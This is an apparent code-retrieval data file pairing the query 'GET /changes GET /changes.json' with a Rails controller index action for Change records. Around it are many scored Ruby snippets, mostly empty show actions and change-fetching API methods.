[ { "docid": "b69a071a6dd10a8c7c69fbbc5721b533", "score": "0.64671", "text": "def controller\n end", "title": "" }, { "docid": "b69a071a6dd10a8c7c69fbbc5721b533", "score": "0.64671", "text": "def controller\n end", "title": "" }, { "docid": "40f7f9a8053cda5781e8cf27340a2d71", "score": "0.6448686", "text": "def controller; end", "title": "" }, { "docid": "40f7f9a8053cda5781e8cf27340a2d71", "score": "0.6448686", "text": "def controller; end", "title": "" }, { "docid": "40f7f9a8053cda5781e8cf27340a2d71", "score": "0.6448686", "text": "def controller; end", "title": "" }, { "docid": "40f7f9a8053cda5781e8cf27340a2d71", "score": "0.6448686", "text": "def controller; end", "title": "" }, { "docid": "40f7f9a8053cda5781e8cf27340a2d71", "score": "0.6448686", "text": "def controller; end", "title": "" }, { "docid": "40f7f9a8053cda5781e8cf27340a2d71", "score": "0.6448686", "text": "def controller; end", "title": "" }, { "docid": "40f7f9a8053cda5781e8cf27340a2d71", "score": "0.6448686", "text": "def controller; end", "title": "" }, { "docid": "40f7f9a8053cda5781e8cf27340a2d71", "score": "0.6448686", "text": "def controller; end", "title": "" }, { "docid": "40f7f9a8053cda5781e8cf27340a2d71", "score": "0.6448686", "text": "def controller; end", "title": "" }, { "docid": "40f7f9a8053cda5781e8cf27340a2d71", "score": "0.6448686", "text": "def controller; end", "title": "" }, { "docid": "38354c0dd0c314483e4c023b64e49f68", "score": "0.64118314", "text": "def view; end", "title": "" }, { "docid": "9990284430deceb330f67c996e4f9efe", "score": "0.63697726", "text": "def show \r\n end", "title": "" }, { "docid": "a25eef918538c1b71128da4e1a34e978", "score": "0.63049173", "text": "def show\n\n \n end", "title": "" }, { "docid": "f7a8f0aec053b196ce74e51fb610bfc3", "score": "0.6281328", "text": "def show\n\t\n #####end\n end", "title": "" }, { "docid": "76abecef083599c6623522360db0f6b2", "score": "0.6274988", "text": "def show \n# \n end", "title": "" }, { "docid": "3e22b8aaa47fb91a5a0d820f6408dfed", "score": "0.6264576", "text": "def view\n end", "title": "" }, { "docid": "648678ca942329430d5aa7cffdc5d2ea", "score": "0.6247996", "text": "def solution_paiement\n\n #add_breadcrumb \"solutions menu\", :access_sols_paiement\n #render layout: 'fylo'\n render layout: 'views/index'\n end", "title": "" }, { "docid": "4e4afc94de602d9df31b69aa54d3352c", "score": "0.6231521", "text": "def layout; end", "title": "" }, { "docid": "ad7ecceb73e421e4f7b9aea21ed8dc60", "score": "0.6201834", "text": "def show\n \n # \n end", "title": "" }, { "docid": "5bb5a0979dc7c882371198a381787a60", "score": "0.6180447", "text": "def show\r\n\r\n end", "title": "" }, { "docid": "5bb5a0979dc7c882371198a381787a60", "score": "0.6180447", "text": "def show\r\n\r\n end", "title": "" }, { "docid": "5bb5a0979dc7c882371198a381787a60", "score": "0.6180447", "text": "def show\r\n\r\n end", "title": "" }, { "docid": "bb20da1b52e9c3362efdbfeca3e98322", "score": "0.61584127", "text": "def show\n \n end", "title": "" }, { "docid": "bb20da1b52e9c3362efdbfeca3e98322", "score": "0.61584127", "text": "def show\n \n end", "title": "" }, { "docid": "7d456685d3c1354ce16201bad205e08a", "score": "0.6155211", "text": "def show\n\t\t\n\tend", "title": "" }, { "docid": "7d456685d3c1354ce16201bad205e08a", "score": "0.6155211", "text": "def show\n\t\t\n\tend", "title": "" }, { "docid": "7d456685d3c1354ce16201bad205e08a", "score": "0.6155211", "text": "def show\n\t\t\n\tend", "title": "" }, { "docid": "fb4d5466ebe6d46c53770b3c2dc6762a", "score": "0.6150452", "text": "def show() end", "title": "" }, { "docid": "fb4d5466ebe6d46c53770b3c2dc6762a", "score": "0.6150452", "text": "def show() end", "title": "" }, { "docid": "fb4d5466ebe6d46c53770b3c2dc6762a", "score": "0.6150452", "text": "def show() end", "title": "" }, { "docid": "17b39b071e7479fbcbbbbfc836557170", "score": "0.614673", "text": "def show\n\t end", "title": "" }, { "docid": "cae04b1d961f6eb7f99bac9ce6b6844f", "score": "0.6141288", "text": "def show\n end", "title": "" }, { "docid": "6add033baf29829a4d7c60921b504622", "score": "0.6121819", "text": "def menu\n \n \n\nend", "title": "" }, { "docid": "2fe139c8a3de2ebf59773f3fc4ec3b88", "score": "0.6094544", "text": "def manage\n\n end", "title": "" }, { "docid": "ac766135f7820a9024bed04c8ec28e6c", "score": "0.60884845", "text": "def show\n \t\n end", "title": "" }, { "docid": "ac766135f7820a9024bed04c8ec28e6c", "score": "0.60884845", "text": "def show\n \t\n end", "title": "" }, { "docid": "86001074c3d14dee9df3b529831589d4", "score": "0.60565823", "text": "def show\n\n\tend", "title": "" }, { "docid": "86001074c3d14dee9df3b529831589d4", "score": "0.60565823", "text": "def show\n\n\tend", "title": "" }, { "docid": "86001074c3d14dee9df3b529831589d4", "score": "0.60565823", "text": "def show\n\n\tend", "title": "" }, { "docid": "dd3bca94dbb55782494a51b1766f3969", "score": "0.6011492", "text": "def index\n @title = @view_title = t(\"contact.title\") \n #@ft = \"removed\"\n # this is also done inline in toolbar\n end", "title": "" }, { "docid": "80fb57d8ad997430cd555f8693b1d748", "score": "0.6008313", "text": "def controller; nil; end", "title": "" }, { "docid": "85db2121305a40cdb85def19092abec3", "score": "0.6004724", "text": "def show\r\n end", "title": "" }, { "docid": "8e136f9d6763f93bb9caef261ddf43e2", "score": "0.6003669", "text": "def show\n\t\t end", "title": "" }, { "docid": "6b457f554863e62066c34e73254d128c", "score": "0.6000715", "text": "def show\n \n end", "title": "" }, { "docid": "6b457f554863e62066c34e73254d128c", "score": "0.6000715", "text": "def show\n \n end", "title": "" }, { "docid": "6b457f554863e62066c34e73254d128c", "score": "0.6000715", "text": "def show\n \n end", "title": "" }, { "docid": "6b457f554863e62066c34e73254d128c", "score": "0.6000715", "text": "def show\n \n end", "title": "" }, { "docid": "6b457f554863e62066c34e73254d128c", "score": "0.6000715", "text": "def show\n \n end", "title": "" }, { "docid": "4f8e5b2ebe628d812d094aee3167ec83", "score": "0.59803444", "text": "def show\n \n \n end", "title": "" }, { "docid": "530cb6556b0b3c05b6afe464146c2d0b", "score": "0.59791553", "text": "def show\n \n \n end", "title": "" }, { "docid": "530cb6556b0b3c05b6afe464146c2d0b", "score": "0.59791553", "text": "def show\n \n \n end", "title": "" }, { "docid": "530cb6556b0b3c05b6afe464146c2d0b", "score": "0.59791553", "text": "def show\n \n \n end", "title": "" }, { "docid": "530cb6556b0b3c05b6afe464146c2d0b", "score": "0.59791553", "text": "def show\n \n \n end", "title": "" }, { "docid": "4ba5e2e599a8c45645b4dd847a04ce38", "score": "0.5978747", "text": "def show\t\t\t\t\n\t\t\tend", "title": "" }, { "docid": "5d26d5b8224afd0a259c576bd5eb7c1c", "score": "0.5976661", "text": "def vieworder\n end", "title": "" }, { "docid": "a7b887ddda30e74f18a80cd52648729c", "score": "0.596758", "text": "def show\n \tend", "title": "" }, { "docid": "a7b887ddda30e74f18a80cd52648729c", "score": "0.596758", "text": "def show\n \tend", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59653616", "text": "def show\n end", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59653616", "text": "def show\n end", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59653616", "text": "def show\n end", "title": "" }, { "docid": "cb5c649016991ae820bbb25732486d03", "score": "0.5956785", "text": "def show\n\t\t\n\t\t\n\tend", "title": "" }, { "docid": "fd2857e7d6966fb9c0fe9fd22c900e95", "score": "0.5950595", "text": "def show\n @titulo = \"Ver Pedido\"\n @clase = \"Pedidos\"\n end", "title": "" }, { "docid": "34db9294b2120fa57b1b82a6ba43b91a", "score": "0.5946148", "text": "def doctorView \n end", "title": "" }, { "docid": "f246e7d00b91e69441c1eaa0a9968c64", "score": "0.5945929", "text": "def show\r\n end", "title": "" }, { "docid": "f246e7d00b91e69441c1eaa0a9968c64", "score": "0.5945929", "text": "def show\r\n end", "title": "" }, { "docid": "f246e7d00b91e69441c1eaa0a9968c64", "score": "0.5945929", "text": "def show\r\n end", "title": "" }, { "docid": "f246e7d00b91e69441c1eaa0a9968c64", "score": "0.5945929", "text": "def show\r\n end", "title": "" }, { "docid": "d553039203574faf55aad28bff0cc975", "score": "0.5932966", "text": "def show # methods in controller are called ACTIONS\n end", "title": "" }, { "docid": "e412e03f36b39267c9a2db08ae980f2d", "score": "0.5932079", "text": "def show \n end", "title": "" }, { "docid": "84e74e2e230fc4193092b41c9a5ab638", "score": "0.5931599", "text": "def show_master\n end", "title": "" }, { "docid": "94295b1db2fedb68c3cff5773bc36caa", "score": "0.5929597", "text": "def show\r\n\tend", "title": "" }, { "docid": "77c80309c9604e96c8868ed9ff3be3f0", "score": "0.5925727", "text": "def controller(controller); end", "title": "" }, { "docid": "15fb33b16b474715e54ca66afd7a9089", "score": "0.59136575", "text": "def _view; end", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" }, { "docid": "f7ccee1c34616b0af582dd0fcc834f69", "score": "0.59079707", "text": "def show\n\tend", "title": "" } ]
8d10a5d2eddf94f61b137938503d048d
GET /changes GET /changes.json
[ { "docid": "8b002e71c931f5939b43f284c849d1c9", "score": "0.0", "text": "def index\n # @changes = Change.all\n @changes = Change.order(sort_column + ' ' + sort_direction).paginate(:per_page => 10, :page => params[:page]) \n end", "title": "" } ]
[ { "docid": "540e98c8825a532e9c676d37decd7e1c", "score": "0.7278796", "text": "def changes(params = {}, payload = {}, &block)\n view(\"_changes\", params, payload, &block)\n end", "title": "" }, { "docid": "42d95e14a07399062870f79cf1ea8d79", "score": "0.72091997", "text": "def index\n @changes = Change.all\n end", "title": "" }, { "docid": "42d95e14a07399062870f79cf1ea8d79", "score": "0.72091997", "text": "def index\n @changes = Change.all\n end", "title": "" }, { "docid": "7a77b696d2ed5ca22dbb22acc11da2c7", "score": "0.707631", "text": "def index\n\t\t@admin_changes = Admin::ClientChange.order(\"id DESC\")\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @admin_changes }\n\t\tend\n\tend", "title": "" }, { "docid": "a03285627df69270b4226910ce1ca4cf", "score": "0.70277524", "text": "def changed(params={})\n url = \"/#{HackernewsRuby.api_version}/updates.json\"\n get(url, params)\n end", "title": "" }, { "docid": "f030085e12d209a744d251e460eac278", "score": "0.7025676", "text": "def changes\n @changes ||= vcs.changes\n end", "title": "" }, { "docid": "f030085e12d209a744d251e460eac278", "score": "0.7025676", "text": "def changes\n @changes ||= vcs.changes\n end", "title": "" }, { "docid": "03250d398ff55b6eabb1a8a46cf2d330", "score": "0.70045877", "text": "def changes\n @changes\n end", "title": "" }, { "docid": "2b4789a6ad2f9909bccf3edb14d58146", "score": "0.6943045", "text": "def changes\n @changes ||= {}\n end", "title": "" }, { "docid": "ace81f4b55cb84719aa7807d7d481b4e", "score": "0.6804248", "text": "def get_key_changes(from:, to:)\n query = {\n from: from,\n to: to\n }\n\n request(:get, client_api_latest, '/keys/changes', query: query)\n end", "title": "" }, { "docid": "6468cf5ebae83207bead99a2813df059", "score": "0.6794434", "text": "def changes\n @changes = Purl.published\n .where(deleted_at: nil)\n .where(updated_at: @first_modified..@last_modified)\n .target('target' => params[:target])\n .includes(:collections, :release_tags)\n .page(page_params[:page])\n .per(per_page_params[:per_page])\n end", "title": "" }, { "docid": "bcbb982271a85644a27de0bc5a553220", "score": "0.6784813", "text": "def changes\n @changes ||= Changes.new\n end", "title": "" }, { "docid": "ca8244d66c28e66173aad4f8da25439b", "score": "0.6685118", "text": "def index\n @change_logs = ChangeLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @change_logs }\n end\n end", "title": "" }, { "docid": "0d0ec59e1053c712701dba106fc5b440", "score": "0.6639161", "text": "def changes\n @changes ||= urls.group_by { |x| (x.md || {})[\"change\"] } if changelist? or changedump?\n end", "title": "" }, { "docid": "105f5f324d0510afe04c5f566b760174", "score": "0.66285306", "text": "def show\n @changelist = Changelist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @changelist }\n end\n end", "title": "" }, { "docid": "ee53ecdc8c448f5887924a36bf225962", "score": "0.66228104", "text": "def fetch_change(change_id)\n JSON.parse(Faraday.get(@gerrit_api_url + \"/changes/#{change_id}\").body.lines.drop(1).join)\n end", "title": "" }, { "docid": "1c0222dd8b0cdca048e57b03de43439d", "score": "0.6591844", "text": "def edits\n api = WikiApi.new @wiki\n query_params = {\n list: 'recentchanges',\n rcprop: 'title|ids|flags|user|tags|loginfo|timestamp',\n rclimit: '100',\n rctag: 'de-userfying',\n rcshow: '!bot'\n }\n res = api.query(query_params)\n res.data['recentchanges']\n .map do |change|\n change.slice('user', 'revid', 'pageid', 'logparams', 'logid', 'timestamp', 'title')\n end\n end", "title": "" }, { "docid": "507e0b61323d29b3725f0b2c459ad6c0", "score": "0.6566674", "text": "def merge_request_changes(project, id)\n get(\"/projects/#{url_encode project}/merge_requests/#{id}/changes\")\n end", "title": "" }, { "docid": "507e0b61323d29b3725f0b2c459ad6c0", "score": "0.6566674", "text": "def merge_request_changes(project, id)\n get(\"/projects/#{url_encode project}/merge_requests/#{id}/changes\")\n end", "title": "" }, { "docid": "3c28f1b8d933aa60ae90c408122b765b", "score": "0.65212303", "text": "def change\n @change ||= begin\n response = @client.connection.get(\n path: \"/#{version}/change\",\n expects: 200,\n idempotent: true\n )\n options = JSON.parse(response.body)\n Update.new(\n author: options[\"author\"],\n comment: options[\"comment\"],\n timestamp: options[\"timestamp\"],\n previous: Version.new(@client, options[\"previous\"]),\n changes: ChangeSet.new(options[\"changes\"])\n )\n end\n end", "title": "" }, { "docid": "f6c665cd6df7f824e40916eddc96b402", "score": "0.65113056", "text": "def index\n @confessor_request_changes = ConfessorRequestChange.all\n end", "title": "" }, { "docid": "07b422194ac6f18f90c0cc3af6e49273", "score": "0.6508664", "text": "def changes\n return unless respond_to?(:audits)\n audits.each_with_object([]) do |audit, versions|\n versions << audit.audited_changes.merge!(\"changed_at\" => audit.created_at)\n end\n end", "title": "" }, { "docid": "0f0e2942b0631943a17e005c89c2f886", "score": "0.6497147", "text": "def changes\n records = {}\n comments_query =\n '//ol[@class=\"commentlist snap_preview\"]//div[@class=\"comment_message\"]/p'\n\n homepage.xpath(comments_query).each do |change|\n id = change.xpath('a/@href').text[6..-1].to_i\n\n type =\n case change.text\n when /.+? is broken\\./ then :broken\n when /.+? has been editted\\./ then :edit\n end\n\n next if type.nil?\n\n # We're only interested in the latest change\n # to any given album ID.\n records[id] = type\n end\n\n records.map { |a| Change.new *a }.reverse\n end", "title": "" }, { "docid": "df83340eb772ea597ed0eef75c77b557", "score": "0.6495143", "text": "def show\n @change_log = ChangeLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @change_log }\n end\n end", "title": "" }, { "docid": "ed3133056798cc0e02d48aa64c5dac1a", "score": "0.64788145", "text": "def show\n @change = Change.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @change }\n end\n end", "title": "" }, { "docid": "29b2f567eeaff3a3f2e363ae9ddf1438", "score": "0.6451495", "text": "def changes\n attributes.fetch(:changes)\n end", "title": "" }, { "docid": "f505ffa09ea6bfe875bbabb8ffc2cd15", "score": "0.64485806", "text": "def list\n @project = Project.find(params[:project_id])\n authorize! :read, @project\n\n # XXX: per() should use a config parameter instead of static value.\n @project_changes = ProjectChange.all_project_updates(@project, nil).page(params[:page]).per(10)\n render :layout => false\n end", "title": "" }, { "docid": "5ba38773541db858ac5fb0f65cb5ee70", "score": "0.6433958", "text": "def changed_action\n record = self.get_record\n api_response({changed: record.updated_at})\n end", "title": "" }, { "docid": "7bfa735bb6f8ee284172ffcc4b3dc013", "score": "0.64272004", "text": "def index\n @recent_changes = RecentChange.all\n end", "title": "" }, { "docid": "3a11542386575bd87a537bb12b1f05a8", "score": "0.6402081", "text": "def fixture_changes\n get('sports/en/fixtures/changes.xml')\n end", "title": "" }, { "docid": "f51de3ecb6c0c24a32e45dd7ff000ff1", "score": "0.6392861", "text": "def index\n @change_requests = ChangeRequest.all\n end", "title": "" }, { "docid": "3644b38ffb1624a54d1fc30bc2295325", "score": "0.6369786", "text": "def changes\n return @database.changes\n end", "title": "" }, { "docid": "5c576bb85d24790ed56dff7d234432e7", "score": "0.6342449", "text": "def changes\n return @changes if @fetched\n @tracked.each { |item| @changes.append item.name, item.call(timestamp) }\n @fetched = true\n @changes.prepare!\n @changes\n end", "title": "" }, { "docid": "4900b6bec13323c22f1a9f03452a5af1", "score": "0.6317658", "text": "def index\n @changes = Change.order(:analysis_name,:analysis_year,:country,:population,:replacement_name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @changes }\n end\n end", "title": "" }, { "docid": "741fdd3c0746b53b7f944d73a620b2d6", "score": "0.6269634", "text": "def changes\n @driver.changes(@handle)\n end", "title": "" }, { "docid": "1b2103a25fea82ea46898b23f548d5a5", "score": "0.6246542", "text": "def changes\n if original_change_data.nil?\n nil\n else\n HashDiff.diff(original_change_data, current_change_data)\n end\n end", "title": "" }, { "docid": "c2762f9b95c4c02e253251b9415014a0", "score": "0.62418413", "text": "def show\n @change_set = ChangeSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @change_set }\n end\n end", "title": "" }, { "docid": "19ae67b8d04f48405511b9313a3d54ec", "score": "0.6237971", "text": "def latest_changes\n request_params = wiki_serach_params\n response = make_request(request_params)\n parsed_response = parse_response(response)\n recent_changes_titles = filter_titles(parsed_response)\n end", "title": "" }, { "docid": "475dc0a9e32f2719b4b699ea77b999ae", "score": "0.62252957", "text": "def index\n @docstate_changes = DocstateChange.all\n end", "title": "" }, { "docid": "681f2f0e9c079e5bada7d63a38cc6e8b", "score": "0.6221211", "text": "def get_config_change\n uri = URI.parse(\"#{@endpoint['url']}/config/change?#{FORMAT}\")\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth(@endpoint_auth['user'], @endpoint_auth['password'])\n response = @http.request(request)\n\n content = JSON.parse(response.body)\n end", "title": "" }, { "docid": "09db0f279f50795a72b754e2c1445d85", "score": "0.61838067", "text": "def changes_extra_information id\n parse_response(send_my_own_request(\"/api/review-requests/#{id}/changes/\").body)\n end", "title": "" }, { "docid": "af99709f0725821159e4eb2e0209be60", "score": "0.6180989", "text": "def changes\n @changes ||= Changes.new(@entry_element.select(\"./atom:content/mingle:changes\"))\n end", "title": "" }, { "docid": "ae29fa769a5da609bdadbbac5288f4f0", "score": "0.6175481", "text": "def changes\n self.changeable_history_class.get_changes_for self\n end", "title": "" }, { "docid": "960137c2e4cda731fe4b26b416394b2f", "score": "0.6171871", "text": "def index\n @default_changes = DefaultChange.all\n end", "title": "" }, { "docid": "43b20115e3db0f3e3aa7964f197a46f4", "score": "0.6167097", "text": "def changes\n @changes ||= path.glob('*.yml').map { |f| Changefu::Change.from_file(f) }.sort_by(&:timestamp)\n end", "title": "" }, { "docid": "f624540ae5f347e777883175f5cd0097", "score": "0.6164694", "text": "def changes\n @changes ||= apply_heuristics(adapter.changes)\n end", "title": "" }, { "docid": "6bd81bd00a9c043701d9729f50c20e6b", "score": "0.6164293", "text": "def api_changes(version = nil)\n changes = @items.select { |item| item[:kind] == 'change' }\n if version\n version_s = version.to_s\n changes.select { |item| item[:api_version] == version_s }\n else\n changes\n end.sort! do |x, y|\n [attribute_to_time(y[:created_at]), x[:title]] <=> [attribute_to_time(x[:created_at]), y[:title]]\n end\n end", "title": "" }, { "docid": "c0a72d3040732f5e3da91881c7cb5948", "score": "0.61504096", "text": "def changes(options = {})\n query = \"at:link[@rel = '#{Rel[cmis_version][:changes]}']/@href\"\n link = data.xpath(query, NS::COMBINED)\n if link = link.first\n link = Internal::Utils.append_parameters(link.to_s, options)\n Collection.new(self, link)\n end\n end", "title": "" }, { "docid": "2bf19078b84b86b39f9b944ad2ae6819", "score": "0.6148662", "text": "def get_new_waytostay_changes\n client.get_changes_since(last_synced_timestamp).tap do |result|\n announce_error(result) unless result.success?\n end\n end", "title": "" }, { "docid": "a841770903b12174f0cd514fbded5066", "score": "0.61283463", "text": "def document_changes\n attributes.fetch(:documentChanges)\n end", "title": "" }, { "docid": "a841770903b12174f0cd514fbded5066", "score": "0.61283463", "text": "def document_changes\n attributes.fetch(:documentChanges)\n end", "title": "" }, { "docid": "a841770903b12174f0cd514fbded5066", "score": "0.61283463", "text": "def document_changes\n attributes.fetch(:documentChanges)\n end", "title": "" }, { "docid": "be93bfc9464cd0cc60afcfebdee4adc6", "score": "0.6120703", "text": "def changes\n @driver.changes( @handle )\n end", "title": "" }, { "docid": "81e529baf60a8dcd1dacb0dc55122d0e", "score": "0.6095534", "text": "def get_change(change_id)\n # AWS methods return change_ids that looks like '/change/id'. Let the caller either use\n # that form or just the actual id (which is what this request needs)\n change_id = change_id.sub('/change/', '')\n\n request({\n :expects => 200,\n :parser => Fog::Parsers::DNS::AWS::GetChange.new,\n :method => 'GET',\n :path => \"change/#{change_id}\"\n })\n end", "title": "" }, { "docid": "1438777c5d94c6e4a2a99f170710eaad", "score": "0.60955274", "text": "def changes(start_ref, end_ref)\n @logger.debug(\"Diff between #{start_ref} and #{end_ref}\")\n diff(start_ref, end_ref).\n map do |obj|\n {\n :path => obj.delta.old_file[:path],\n :status => obj.delta.status\n }\n end\n end", "title": "" }, { "docid": "5f76cb5427d6cddbdf5e7b37ad050c8a", "score": "0.60929483", "text": "def get_change(change_id)\n # AWS methods return change_ids that looks like '/change/id'. Let the caller either use\n # that form or just the actual id (which is what this request needs)\n change_id = change_id.sub('/change/', '')\n\n request({\n :expects => 200,\n :parser => Fog::Parsers::AWS::DNS::GetChange.new,\n :method => 'GET',\n :path => \"change/#{change_id}\"\n })\n end", "title": "" }, { "docid": "b27abe13ade75ed28d23fab97507c54d", "score": "0.60886997", "text": "def changes\n changeset_index = 0\n @repository.git_patch_for(self).changes.map do |git_change| \n changeset_index += 1\n HgChange.new(git_change, changeset_index)\n end\n end", "title": "" }, { "docid": "b8d3c8cf6a560e71011f5c8e762d57b7", "score": "0.6082707", "text": "def total_changes\n @api.total_changes\n end", "title": "" }, { "docid": "2e4ba03898ab2454fed2a0088afe659f", "score": "0.60726017", "text": "def index\n @confessor_changes = ConfessorChange.all\n end", "title": "" }, { "docid": "b150edab1b988b2024901c1e55a6fb97", "score": "0.6071025", "text": "def bulk_change\n verify_post_request\n\n comment = Api::Utils.read_post_request_param(params[:comment])\n result = Internal.issues.bulkChange(params, comment)\n hash = {}\n hash[:issuesChanged] = {\n :total => result.issuesChanged().size,\n }\n hash[:issuesNotChanged] = {\n :total => result.issuesNotChanged().size,\n :issues => result.issuesNotChanged().map { |issue| issue.key() }\n }\n\n respond_to do |format|\n # if the request header \"Accept\" is \"*/*\", then the default format is the first one (json)\n format.json { render :json => jsonp(hash), :status => 200 }\n format.xml { render :xml => hash.to_xml(:skip_types => true, :root => 'sonar', :status => 200) }\n end\n end", "title": "" }, { "docid": "cd413c52657368a69cbf26d935862c55", "score": "0.60348284", "text": "def index\n @page_changes = PageChange.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @page_changes }\n end\n end", "title": "" }, { "docid": "29dedd31078a38b333ce374cf281c3ff", "score": "0.6031164", "text": "def get_change(change_id)\n\n # AWS methods return change_ids that looks like '/change/id'. Let the caller either use \n # that form or just the actual id (which is what this request needs)\n change_id = change_id.sub('/change/', '')\n\n request({\n :expects => 200,\n :parser => Fog::Parsers::DNS::AWS::GetChange.new,\n :method => 'GET',\n :path => \"change/#{change_id}\"\n })\n\n end", "title": "" }, { "docid": "4d6b10f53aca3d97dd57488521bd336c", "score": "0.6017948", "text": "def index\n @prodchanges = Prodchange.all\n end", "title": "" }, { "docid": "26339d4dd75bbb41b0226b8933db5b04", "score": "0.6010948", "text": "def index\n @project = Project.find(params[:project_id])\n authorize! :read, @project\n\n @file = params[:file]\n if @file\n @project_changes = @project.get_file_changes(@file)\n else\n @project_changes = ProjectChange.all_project_updates(@project)\n end\n @selected_change = @project_changes.first\n end", "title": "" }, { "docid": "4c18b124ef79f451006baa2f7adac75b", "score": "0.60065156", "text": "def content_changes\n attributes.fetch(:contentChanges)\n end", "title": "" }, { "docid": "4c18b124ef79f451006baa2f7adac75b", "score": "0.60065156", "text": "def content_changes\n attributes.fetch(:contentChanges)\n end", "title": "" }, { "docid": "105e52d253d5200c30d60a601a1ae917", "score": "0.59803814", "text": "def __versioned_changes\n @__versioned_changes ||= versioned_changes\n end", "title": "" }, { "docid": "6dd6c8d654becd02c6d9fa8400ef13fe", "score": "0.598036", "text": "def row_changes\n @api.row_changes\n end", "title": "" }, { "docid": "c96d62dba52c3466b3b214764794f15f", "score": "0.597333", "text": "def changes\n changes = {}\n rt_changes = changes_on_resource_types\n edge_changes = changes_on_edges\n changes[:resource_type_changes] = rt_changes unless rt_changes.nil?\n changes[:edge_changes] = edge_changes unless edge_changes.empty?\n changes\n end", "title": "" }, { "docid": "4305e61ed267357e99fb71089a72efc6", "score": "0.59688276", "text": "def new\n @change = Change.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @change }\n end\n end", "title": "" }, { "docid": "9de0bad06741e3e61bbd665916f15f66", "score": "0.5964743", "text": "def modified_files\n client_api.modified_files\n end", "title": "" }, { "docid": "ca88152a0d97354378eec05c8000ac43", "score": "0.59593517", "text": "def index\n @code_change_requests = CodeChangeRequest.all\n end", "title": "" }, { "docid": "10af96a6eeb7dcff6c61d237023809a6", "score": "0.5951041", "text": "def change(change_id_or_number)\n rows = execute(%W[query --format=JSON\n --current-patch-set\n change:#{change_id_or_number}]).split(\"\\n\")[0..-2]\n\n if rows.empty?\n raise Errors::CommandFailedError,\n \"No change matches the id '#{change_id_or_number}'\"\n else\n JSON.parse(rows.first)\n end\n end", "title": "" }, { "docid": "1f820451225cf8abf0b5deccddc0ec1e", "score": "0.5947139", "text": "def audit_changes()\n changes = []\n for a in self.audits\n for change in a.changes \n if a.action == 'update' \n if change[1][0] != nil\n changes << change[1][0]\n end\n if change[1][1] != nil\n changes << change[1][1]\n end\n else \n if change[1] != nil\n changes << change[1]\n end\n end\n end\n end\n changes\n end", "title": "" }, { "docid": "a6afe4c27b64fa4666e5666870d5cdb8", "score": "0.5942597", "text": "def new\n @changelist = Changelist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @changelist }\n end\n end", "title": "" }, { "docid": "479d75a37fb911ecd46d77f671683fc1", "score": "0.59223866", "text": "def version_changes\n @version_changes ||= {}\n end", "title": "" }, { "docid": "563c62b62fd579737ee9c1a7b4dc1e83", "score": "0.5921358", "text": "def changes; end", "title": "" }, { "docid": "f687504ff89538a16c47ce731dac3c5f", "score": "0.5919321", "text": "def json_webhook\n {\n \"ref\": \"refs/heads/changes\",\n \"before\": \"9049f1265b7d61be4a8904a9a27120d2064dab3b\",\n \"after\": 